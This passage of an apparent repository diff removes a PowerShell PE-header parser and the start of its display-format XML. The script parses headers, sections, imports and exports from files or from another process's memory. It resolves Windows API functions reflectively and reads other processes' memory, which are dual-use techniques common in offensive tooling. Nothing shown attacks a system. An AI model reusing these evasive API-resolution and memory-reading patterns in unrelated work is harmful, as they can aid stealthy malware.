WINDOWS_GUI = 2, // Image runs in the Windows GUI subsystem.
WINDOWS_CUI = 3, // Image runs in the Windows character subsystem.
OS2_CUI = 5, // image runs in the OS/2 character subsystem.
POSIX_CUI = 7, // image runs in the Posix character subsystem.
NATIVE_WINDOWS = 8, // image is a native Win9x driver.
WINDOWS_CE_GUI = 9, // Image runs in the Windows CE subsystem.
EFI_APPLICATION = 10,
EFI_BOOT_SERVICE_DRIVER = 11,
EFI_RUNTIME_DRIVER = 12,
EFI_ROM = 13,
XBOX = 14,
WINDOWS_BOOT_APPLICATION = 16
}
[Flags]
public enum IMAGE_DLLCHARACTERISTICS : ushort
{
DYNAMIC_BASE = 0x0040, // DLL can move.
FORCE_INTEGRITY = 0x0080, // Code Integrity Image
NX_COMPAT = 0x0100, // Image is NX compatible
NO_ISOLATION = 0x0200, // Image understands isolation and doesn't want it
NO_SEH = 0x0400, // Image does not use SEH. No SE handler may reside in this image
NO_BIND = 0x0800, // Do not bind this image.
WDM_DRIVER = 0x2000, // Driver uses WDM model
TERMINAL_SERVER_AWARE = 0x8000
}
[Flags]
public enum IMAGE_SCN : uint
{
TYPE_NO_PAD = 0x00000008, // Reserved.
CNT_CODE = 0x00000020, // Section contains code.
CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data.
CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data.
LNK_INFO = 0x00000200, // Section contains comments or some other type of information.
LNK_REMOVE = 0x00000800, // Section contents will not become part of image.
LNK_COMDAT = 0x00001000, // Section contents comdat.
NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section.
GPREL = 0x00008000, // Section content can be accessed relative to GP
MEM_FARDATA = 0x00008000,
MEM_PURGEABLE = 0x00020000,
MEM_16BIT = 0x00020000,
MEM_LOCKED = 0x00040000,
MEM_PRELOAD = 0x00080000,
ALIGN_1BYTES = 0x00100000,
ALIGN_2BYTES = 0x00200000,
ALIGN_4BYTES = 0x00300000,
ALIGN_8BYTES = 0x00400000,
ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified.
ALIGN_32BYTES = 0x00600000,
ALIGN_64BYTES = 0x00700000,
ALIGN_128BYTES = 0x00800000,
ALIGN_256BYTES = 0x00900000,
ALIGN_512BYTES = 0x00A00000,
ALIGN_1024BYTES = 0x00B00000,
ALIGN_2048BYTES = 0x00C00000,
ALIGN_4096BYTES = 0x00D00000,
ALIGN_8192BYTES = 0x00E00000,
ALIGN_MASK = 0x00F00000,
LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations.
MEM_DISCARDABLE = 0x02000000, // Section can be discarded.
MEM_NOT_CACHED = 0x04000000, // Section is not cachable.
MEM_NOT_PAGED = 0x08000000, // Section is not pageable.
MEM_SHARED = 0x10000000, // Section is shareable.
MEM_EXECUTE = 0x20000000, // Section is executable.
MEM_READ = 0x40000000, // Section is readable.
MEM_WRITE = 0x80000000 // Section is writeable.
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_DOS_HEADER
{
public IMAGE_DOS_SIGNATURE e_magic; // Magic number
public ushort e_cblp; // public bytes on last page of file
public ushort e_cp; // Pages in file
public ushort e_crlc; // Relocations
public ushort e_cparhdr; // Size of header in paragraphs
public ushort e_minalloc; // Minimum extra paragraphs needed
public ushort e_maxalloc; // Maximum extra paragraphs needed
public ushort e_ss; // Initial (relative) SS value
public ushort e_sp; // Initial SP value
public ushort e_csum; // Checksum
public ushort e_ip; // Initial IP value
public ushort e_cs; // Initial (relative) CS value
public ushort e_lfarlc; // File address of relocation table
public ushort e_ovno; // Overlay number
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
public string e_res; // This will contain 'Detours!' if patched in memory
public ushort e_oemid; // OEM identifier (for e_oeminfo)
public ushort e_oeminfo; // OEM information; e_oemid specific
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=10)] // , ArraySubType=UnmanagedType.U4
public ushort[] e_res2; // Reserved public ushorts
public int e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_FILE_HEADER
{
public IMAGE_FILE_MACHINE Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public IMAGE_FILE_CHARACTERISTICS Characteristics;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_NT_HEADERS32
{
public IMAGE_NT_SIGNATURE Signature;
public _IMAGE_FILE_HEADER FileHeader;
public _IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_NT_HEADERS64
{
public IMAGE_NT_SIGNATURE Signature;
public _IMAGE_FILE_HEADER FileHeader;
public _IMAGE_OPTIONAL_HEADER64 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_OPTIONAL_HEADER32
{
public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public IMAGE_SUBSYSTEM Subsystem;
public IMAGE_DLLCHARACTERISTICS DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)]
public _IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_OPTIONAL_HEADER64
{
public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public IMAGE_SUBSYSTEM Subsystem;
public IMAGE_DLLCHARACTERISTICS DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)]
public _IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions; // RVA from base of image
public uint AddressOfNames; // RVA from base of image
public uint AddressOfNameOrdinals; // RVA from base of image
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
public string Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public IMAGE_SCN Characteristics;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_IMPORT_DESCRIPTOR
{
public uint OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
public uint TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date/time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
public uint ForwarderChain; // -1 if no forwarders
public uint Name;
public uint FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_THUNK_DATA32
{
public Int32 AddressOfData; // PIMAGE_IMPORT_BY_NAME
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_THUNK_DATA64
{
public Int64 AddressOfData; // PIMAGE_IMPORT_BY_NAME
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_IMPORT_BY_NAME
{
public ushort Hint;
public char Name;
}
}
"@
$compileParams = New-Object System.CodeDom.Compiler.CompilerParameters
$compileParams.ReferencedAssemblies.AddRange(@('System.dll', 'mscorlib.dll'))
$compileParams.GenerateInMemory = $True
Add-Type -TypeDefinition $code -CompilerParameters $compileParams -PassThru -WarningAction SilentlyContinue | Out-Null
}
function Get-DelegateType
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
return $TypeBuilder.CreateType()
}
function Get-ProcAddress
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
$OnDisk = $True
if ($PsCmdlet.ParameterSetName -eq 'InMemory') { $OnDisk = $False }
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, [Type] $OpenProcessDelegate)
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [Int], [Int].MakeByRefType()) ([Bool])
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, [Type] $ReadProcessMemoryDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, [Type] $CloseHandleDelegate)
if ($OnDisk) {
$FileStream = New-Object System.IO.FileStream($FilePath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
$FileByteArray = New-Object Byte[]($FileStream.Length)
$FileStream.Read($FileByteArray, 0, $FileStream.Length) | Out-Null
$FileStream.Close()
$Handle = [System.Runtime.InteropServices.GCHandle]::Alloc($FileByteArray, 'Pinned')
$PEBaseAddr = $Handle.AddrOfPinnedObject()
} else {
# Size of the memory page allocated for the PE header
$HeaderSize = 0x1000
# Allocate space for when the PE header is read from the remote process
$PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($HeaderSize + 1)
# Get handle to the process
$hProcess = $OpenProcess.Invoke(0x10, $false, $ProcessID) # PROCESS_VM_READ (0x00000010)
# Read PE header from remote process
if (!$ReadProcessMemory.Invoke($hProcess, $ModuleBaseAddress, $PEBaseAddr, $HeaderSize, [Ref] 0)) {
if ($ModuleName) {
Write-Warning "Failed to read PE header of $ModuleName"
} else {
Write-Warning "Failed to read PE header of process ID: $ProcessID"
}
Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))"
$CloseHandle.Invoke($hProcess) | Out-Null
return
}
}
$DosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEBaseAddr, [Type] [PE+_IMAGE_DOS_HEADER])
$PointerNtHeader = [IntPtr] ($PEBaseAddr.ToInt64() + $DosHeader.e_lfanew)
$NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] [PE+_IMAGE_NT_HEADERS32])
$Architecture = ($NtHeader.FileHeader.Machine).ToString()
$BinaryPtrWidth = 4
# Define relevant structure types depending upon whether the binary is 32 or 64-bit
if ($Architecture -eq 'AMD64') {
$BinaryPtrWidth = 8
$PEStruct = @{
IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER64]
NT_HEADER = [PE+_IMAGE_NT_HEADERS64]
}
$ThunkDataStruct = [PE+_IMAGE_THUNK_DATA64]
Write-Verbose "Architecture: $Architecture"
Write-Verbose 'Proceeding with parsing a 64-bit binary.'
} elseif ($Architecture -eq 'I386' -or $Architecture -eq 'ARMNT' -or $Architecture -eq 'THUMB') {
$PEStruct = @{
IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER32]
NT_HEADER = [PE+_IMAGE_NT_HEADERS32]
}
$ThunkDataStruct = [PE+_IMAGE_THUNK_DATA32]
Write-Verbose "Architecture: $Architecture"
Write-Verbose 'Proceeding with parsing a 32-bit binary.'
} else {
Write-Warning 'Get-PEHeader only supports binaries compiled for x86, AMD64, and ARM.'
return
}
# Need to get a new NT header in case the architecture changed
$NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] $PEStruct['NT_HEADER'])
# Display all section headers
$NumSections = $NtHeader.FileHeader.NumberOfSections
$NumRva = $NtHeader.OptionalHeader.NumberOfRvaAndSizes
$PointerSectionHeader = [IntPtr] ($PointerNtHeader.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $PEStruct['NT_HEADER']))
$SectionHeaders = New-Object PSObject[]($NumSections)
foreach ($i in 0..($NumSections - 1))
{
$SectionHeaders[$i] = [System.Runtime.InteropServices.Marshal]::PtrToStructure(([IntPtr] ($PointerSectionHeader.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_SECTION_HEADER])))), [Type] [PE+_IMAGE_SECTION_HEADER])
}
if (!$OnDisk) {
$ReadSize = $NtHeader.OptionalHeader.SizeOfImage
# Free memory allocated for the PE header
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr)
$PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ReadSize + 1)
# Read process memory of each section header
foreach ($SectionHeader in $SectionHeaders) {
if (!$ReadProcessMemory.Invoke($hProcess, [IntPtr] ($ModuleBaseAddress.ToInt64() + $SectionHeader.VirtualAddress), [IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeader.VirtualAddress), $SectionHeader.VirtualSize, [Ref] 0)) {
if ($ModuleName) {
Write-Warning "Failed to read $($SectionHeader.Name) section of $ModuleName"
} else {
Write-Warning "Failed to read $($SectionHeader.Name) section of process ID: $ProcessID"
}
Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))"
$CloseHandle.Invoke($hProcess) | Out-Null
return
}
}
# Close handle to the remote process since we no longer need to access the process.
$CloseHandle.Invoke($hProcess) | Out-Null
}
if ($PSBoundParameters['GetSectionData'])
{
foreach ($i in 0..($NumSections - 1))
{
$RawBytes = $null
if ($OnDisk)
{
$RawBytes = New-Object Byte[]($SectionHeaders[$i].SizeOfRawData)
[Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].PointerToRawData), $RawBytes, 0, $SectionHeaders[$i].SizeOfRawData)
}
else
{
$RawBytes = New-Object Byte[]($SectionHeaders[$i].VirtualSize)
[Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].VirtualAddress), $RawBytes, 0, $SectionHeaders[$i].VirtualSize)
}
$SectionHeaders[$i] = Add-Member -InputObject ($SectionHeaders[$i]) -MemberType NoteProperty -Name RawData -Value $RawBytes -PassThru -Force
}
}
function Get-Exports()
{
if ($NTHeader.OptionalHeader.DataDirectory[0].VirtualAddress -eq 0) {
Write-Verbose 'Module does not contain any exports'
return
}
# List all function Rvas in the export table
$ExportPointer = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress)
# This range will be used to test for the existence of forwarded functions
$ExportDirLow = $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress
if ($OnDisk) {
$ExportPointer = Convert-RVAToFileOffset $ExportPointer
$ExportDirLow = Convert-RVAToFileOffset $ExportDirLow
$ExportDirHigh = $ExportDirLow.ToInt32() + $NtHeader.OptionalHeader.DataDirectory[0].Size
} else { $ExportDirHigh = $ExportDirLow + $NtHeader.OptionalHeader.DataDirectory[0].Size }
$ExportDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportPointer, [Type] [PE+_IMAGE_EXPORT_DIRECTORY])
$AddressOfNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNames)
$NameOrdinalAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNameOrdinals)
$AddressOfFunctionsPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfFunctions)
$NumNamesFuncs = $ExportDirectory.NumberOfFunctions - $ExportDirectory.NumberOfNames
$NumNames = $ExportDirectory.NumberOfNames
$NumFunctions = $ExportDirectory.NumberOfFunctions
$Base = $ExportDirectory.Base
# Recalculate file offsets based upon relative virtual addresses
if ($OnDisk) {
$AddressOfNamePtr = Convert-RVAToFileOffset $AddressOfNamePtr
$NameOrdinalAddrPtr = Convert-RVAToFileOffset $NameOrdinalAddrPtr
$AddressOfFunctionsPtr = Convert-RVAToFileOffset $AddressOfFunctionsPtr
}
if ($NumFunctions -gt 0) {
# Create an empty hash table that will contain indices to exported functions and their RVAs
$FunctionHashTable = @{}
foreach ($i in 0..($NumFunctions - 1))
{
$RvaFunction = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfFunctionsPtr.ToInt64() + ($i * 4))
# Function is exported by ordinal if $RvaFunction -ne 0. I.E. NumberOfFunction != the number of actual, exported functions.
if ($RvaFunction) { $FunctionHashTable[[Int]$i] = $RvaFunction }
}
# Create an empty hash table that will contain indices into RVA array and the function's name
$NameHashTable = @{}
foreach ($i in 0..($NumNames - 1))
{
$RvaName = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfNamePtr.ToInt64() + ($i * 4))
$FuncNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $RvaName)
if ($OnDisk) { $FuncNameAddr= Convert-RVAToFileOffset $FuncNameAddr }
$FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FuncNameAddr)
$NameOrdinal = [Int][System.Runtime.InteropServices.Marshal]::ReadInt16($NameOrdinalAddrPtr.ToInt64() + ($i * 2))
$NameHashTable[$NameOrdinal] = $FuncName
}
foreach ($Key in $FunctionHashTable.Keys)
{
$Result = @{}
if ($NameHashTable[$Key]) {
$Result['FunctionName'] = $NameHashTable[$Key]
} else {
$Result['FunctionName'] = ''
}
if (($FunctionHashTable[$Key] -ge $ExportDirLow) -and ($FunctionHashTable[$Key] -lt $ExportDirHigh)) {
$ForwardedNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $FunctionHashTable[$Key])
if ($OnDisk) { $ForwardedNameAddr = Convert-RVAToFileOffset $ForwardedNameAddr }
$ForwardedName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ForwardedNameAddr)
# This script does not attempt to resolve the virtual addresses of forwarded functions
$Result['ForwardedName'] = $ForwardedName
} else {
$Result['ForwardedName'] = ''
}
$Result['Ordinal'] = "0x$(($Key + $Base).ToString('X4'))"
$Result['RVA'] = "0x$($FunctionHashTable[$Key].ToString("X$($BinaryPtrWidth*2)"))"
#$Result['VA'] = "0x$(($FunctionHashTable[$Key] + $PEBaseAddr.ToInt64()).ToString("X$($BinaryPtrWidth*2)"))"
$Export = New-Object PSObject -Property $Result
$Export.PSObject.TypeNames.Insert(0, 'Export')
$Export
}
} else { Write-Verbose 'Module does not export any functions.' }
}
function Get-Imports()
{
if ($NTHeader.OptionalHeader.DataDirectory[1].VirtualAddress -eq 0) {
Write-Verbose 'Module does not contain any imports'
return
}
$FirstImageImportDescriptorPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[1].VirtualAddress)
if ($OnDisk) { $FirstImageImportDescriptorPtr = Convert-RVAToFileOffset $FirstImageImportDescriptorPtr }
$ImportDescriptorPtr = $FirstImageImportDescriptorPtr
$i = 0
# Get all imported modules
while ($true)
{
$ImportDescriptorPtr = [IntPtr] ($FirstImageImportDescriptorPtr.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_IMPORT_DESCRIPTOR])))
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type] [PE+_IMAGE_IMPORT_DESCRIPTOR])
if ($ImportDescriptor.OriginalFirstThunk -eq 0) { break }
$DllNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.Name)
if ($OnDisk) { $DllNamePtr = Convert-RVAToFileOffset $DllNamePtr }
$DllName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($DllNamePtr)
$FirstFuncAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.FirstThunk)
if ($OnDisk) { $FirstFuncAddrPtr = Convert-RVAToFileOffset $FirstFuncAddrPtr }
$FuncAddrPtr = $FirstFuncAddrPtr
$FirstOFTPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.OriginalFirstThunk)
if ($OnDisk) { $FirstOFTPtr = Convert-RVAToFileOffset $FirstOFTPtr }
$OFTPtr = $FirstOFTPtr
$j = 0
while ($true)
{
$FuncAddrPtr = [IntPtr] ($FirstFuncAddrPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct)))
$FuncAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncAddrPtr, [Type] $ThunkDataStruct)
$OFTPtr = [IntPtr] ($FirstOFTPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct)))
$ThunkData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OFTPtr, [Type] $ThunkDataStruct)
$Result = @{ ModuleName = $DllName }
if (([System.Convert]::ToString($ThunkData.AddressOfData, 2)).PadLeft(32, '0')[0] -eq '1')
{
# Trim high order bit in order to get the ordinal value
$TempOrdinal = [System.Convert]::ToInt64(([System.Convert]::ToString($ThunkData.AddressOfData, 2))[1..63] -join '', 2)
$TempOrdinal = $TempOrdinal.ToString('X16')[-1..-4]
[Array]::Reverse($TempOrdinal)
$Ordinal = ''
$TempOrdinal | ForEach-Object { $Ordinal += $_ }
$Result['Ordinal'] = "0x$Ordinal"
$Result['FunctionName'] = ''
}
else
{
$ImportByNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + [Int64]$ThunkData.AddressOfData + 2)
if ($OnDisk) { $ImportByNamePtr = Convert-RVAToFileOffset $ImportByNamePtr }
$FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportByNamePtr)
$Result['Ordinal'] = ''
$Result['FunctionName'] = $FuncName
}
$Result['RVA'] = "0x$($FuncAddr.AddressOfData.ToString("X$($BinaryPtrWidth*2)"))"
if ($FuncAddr.AddressOfData -eq 0) { break }
if ($OFTPtr -eq 0) { break }
$Import = New-Object PSObject -Property $Result
$Import.PSObject.TypeNames.Insert(0, 'Import')
$Import
$j++
}
$i++
}
}
function Convert-RVAToFileOffset([IntPtr] $Rva)
{
foreach ($Section in $SectionHeaders) {
if ((($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -ge $Section.VirtualAddress) -and (($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -lt ($Section.VirtualAddress + $Section.VirtualSize))) {
return [IntPtr] ($Rva.ToInt64() - ($Section.VirtualAddress - $Section.PointerToRawData))
}
}
# Pointer did not fall in the address ranges of the section headers
return $Rva
}
$PEFields = @{
Module = $ModuleName
DOSHeader = $DosHeader
PESignature = $NTHeader.Signature
FileHeader = $NTHeader.FileHeader
OptionalHeader = $NTHeader.OptionalHeader
SectionHeaders = $SectionHeaders
Imports = Get-Imports
Exports = Get-Exports
}
if ($Ondisk) {
$Handle.Free()
} else {
# Free memory allocated for the PE header
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr)
}
$PEHeader = New-Object PSObject -Property $PEFields
$PEHeader.PSObject.TypeNames.Insert(0, 'PEHeader')
$ScriptBlock = {
$SymServerURL = 'http://msdl.microsoft.com/download/symbols'
$FileName = $this.Module.Split('\')[-1]
$Request = "{0}/{1}/{2:X8}{3:X}/{1}" -f $SymServerURL, $FileName, $this.FileHeader.TimeDateStamp, $this.OptionalHeader.SizeOfImage
$Request = "$($Request.Substring(0, $Request.Length - 1))_"
$WebClient = New-Object Net.WebClient
$WebClient.Headers.Add('User-Agent', 'Microsoft-Symbol-Server/6.6.0007.5')
Write-Host "Downloading $FileName from the Microsoft symbol server..."
$CabBytes = $WebClient.DownloadData($Request)
$CabPath = "$PWD\$($FileName.Split('.')[0]).cab"
Write-Host "Download complete. Saving it to $("$(Split-Path $CabPath)\$FileName")."
[IO.File]::WriteAllBytes($CabPath, $CabBytes)
$Shell = New-Object -Comobject Shell.Application
$CabFile = $Shell.Namespace($CabPath).Items()
$Destination = $Shell.Namespace((Split-Path $CabPath))
$Destination.CopyHere($CabFile)
Remove-Item $CabPath -Force
}
$PEHeader = Add-Member -InputObject $PEHeader -MemberType ScriptMethod -Name DownloadFromMSSymbolServer -Value $ScriptBlock -PassThru -Force
return $PEHeader
}
}
-374
View File
@@ -1,374 +0,0 @@
<?xml version="1.0" encoding="utf-8" ?>
<Configuration>
<SelectionSets>
<SelectionSet>
<Name>OptionHeaderTypes</Name>
<Types>
<TypeName>PE+_IMAGE_OPTIONAL_HEADER32</TypeName>
<TypeName>PE+_IMAGE_OPTIONAL_HEADER64</TypeName>
</Types>
</SelectionSet>
</SelectionSets>
<ViewDefinitions>
<View>
<Name>PEView</Name>
<ViewSelectedBy>
<TypeName>PEHeader</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Module</PropertyName>
</ListItem>
<ListItem>
<PropertyName>DOSHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>FileHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>OptionalHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SectionHeaders</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Imports</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Exports</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>OptionalHeaderView</Name>
<ViewSelectedBy>
<SelectionSetName>OptionHeaderTypes</SelectionSetName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Magic</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MajorLinkerVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MinorLinkerVersion</PropertyName>
</ListItem>
<ListItem>
<Label>SizeOfCode</Label>
<ScriptBlock>"0x$($_.SizeOfCode.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfInitializedData</Label>
